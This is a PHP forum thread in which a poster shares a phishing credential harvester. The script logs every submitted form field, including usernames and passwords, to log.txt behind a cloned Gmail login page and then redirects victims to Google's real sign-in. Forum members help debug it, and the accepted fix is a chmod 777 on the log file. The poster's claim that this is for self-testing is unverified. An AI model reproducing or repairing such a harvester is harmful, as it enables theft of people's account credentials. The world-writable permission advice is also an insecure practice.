PHP file writing not wotking!

PHP programming forum. Ask questions or help people concerning PHP code. Don't understand a function? Need help implementing a class? Don't understand a class? Here is where to ask. Remember to do your homework!

Moderator: General Moderators

Post Reply
hackin9u
Forum Newbie
Posts: 4
Joined: Wed Apr 11, 2012 9:56 am

PHP file writing not wotking!

Post by hackin9u »

Hi friend,
First of all i would like to say that i only learn this for educational and for my own security knowledge.
I run a LAMPserver of my own and i tried to hack myself with a phishing page.The thing i wanted is the following.
When the user logs into my phishing page,it has to write his username and password into a file named log.txt and redirect to the original page of that website.
I wrote a php script but it partially works.
That is, after receiving his username and password, it redirects the user to the original page but it doesnt write the log.txt.
I attached the php and html files with this.
Also i copied the php script for easy access.

php script:

Code: Select all

 <?php
                      header ('Location: https://www.google.com/accounts/ServiceLoginAuth?service=mail ');
                      $handle = fopen("log.txt", "a");
                      foreach($_POST as $variable => $value) {
                      fwrite($handle, $variable);
                      fwrite($handle, "=");
                      fwrite($handle, $value);
                      fwrite($handle, "\r\n");
                      }
                      fwrite($handle, "\r\n");
                      fclose($handle);
                      exit;
                      ?>
html code:
the same as gmail.com html
right click gmail.com and view page source.

Thank you.
Please help me to succeed with log.txt
Attachments
Code.zip
This file contains all the code.
(13.08 KiB) Downloaded 55 times
xtiano77
Forum Commoner
Posts: 72
Joined: Tue Sep 22, 2009 10:53 am
Location: Texas

Re: PHP file writing not wotking!

Post by xtiano77 »

I would try using the function below:
http://us3.php.net/manual/en/function.f ... ntents.php

Just my two cents.
User avatar
social_experiment
DevNet Master
Posts: 2793
Joined: Sun Feb 15, 2009 11:08 am
Location: .za

Re: PHP file writing not wotking!

Post by social_experiment »

hackin9u wrote:I wrote a php script but it partially works.
That is, after receiving his username and password, it redirects the user to the original page but it doesnt write the log.txt.
The writing part of the script works ok; the header() function, is that the part redirecting the user after receiving the login information?
“Don’t worry if it doesn’t work right. If everything did, you’d be out of a job.” - Mosher’s Law of Software Engineering
hackin9u
Forum Newbie
Posts: 4
Joined: Wed Apr 11, 2012 9:56 am

Re: PHP file writing not wotking!

Post by hackin9u »

social_experiment wrote: The writing part of the script works ok; the header() function, is that the part redirecting the user after receiving the login information?
Yes thats the part where i redirect.
User avatar
social_experiment
DevNet Master
Posts: 2793
Joined: Sun Feb 15, 2009 11:08 am
Location: .za

Re: PHP file writing not wotking!

Post by social_experiment »

http://stackoverflow.com/questions/3693 ... n-executed
Have a look at this page; and at this answer
http://stackoverflow.com/a/3693612

Maybe you should check if the file was written to and then redirect
“Don’t worry if it doesn’t work right. If everything did, you’d be out of a job.” - Mosher’s Law of Software Engineering
hackin9u
Forum Newbie
Posts: 4
Joined: Wed Apr 11, 2012 9:56 am

Re: PHP file writing not wotking!

Post by hackin9u »

social_experiment wrote: Maybe you should check if the file was written to and then redirect
I tried that before.I got the same failure.But this code perfectly works when i try this on other hosting services.But not on my LAMP server.
I hope you will help me.
User avatar
social_experiment
DevNet Master
Posts: 2793
Joined: Sun Feb 15, 2009 11:08 am
Location: .za

Re: PHP file writing not wotking!

Post by social_experiment »

hackin9u wrote:I tried that before.I got the same failure.But this code perfectly works when i try this on other hosting services.But not on my LAMP server.
interesting; i'm not sure what the problem could be. Best advice is can give is to do a bit of searching on a search engine or finding a LAMP specific forum which is geared to LAMP and it's problems / settings etc (or the option suggested by gugi77)
“Don’t worry if it doesn’t work right. If everything did, you’d be out of a job.” - Mosher’s Law of Software Engineering
hackin9u
Forum Newbie
Posts: 4
Joined: Wed Apr 11, 2012 9:56 am

Re: PHP file writing not wotking!

Post by hackin9u »

gugi77 wrote:Hi,

Please check your folder security on log.txt path. Try with simple create & write file in same directory. does it work or not?

Hope this help
Thank you very much for all the helpers..
Thank you very much gugi77 your suggestion helped me.
Gugi77 is a bravo!
It works.
I used chmod 777 log.txt
Is there a way to ONLY allow that "phishing.php" to write that file?
Thank you very much.
:)
Post Reply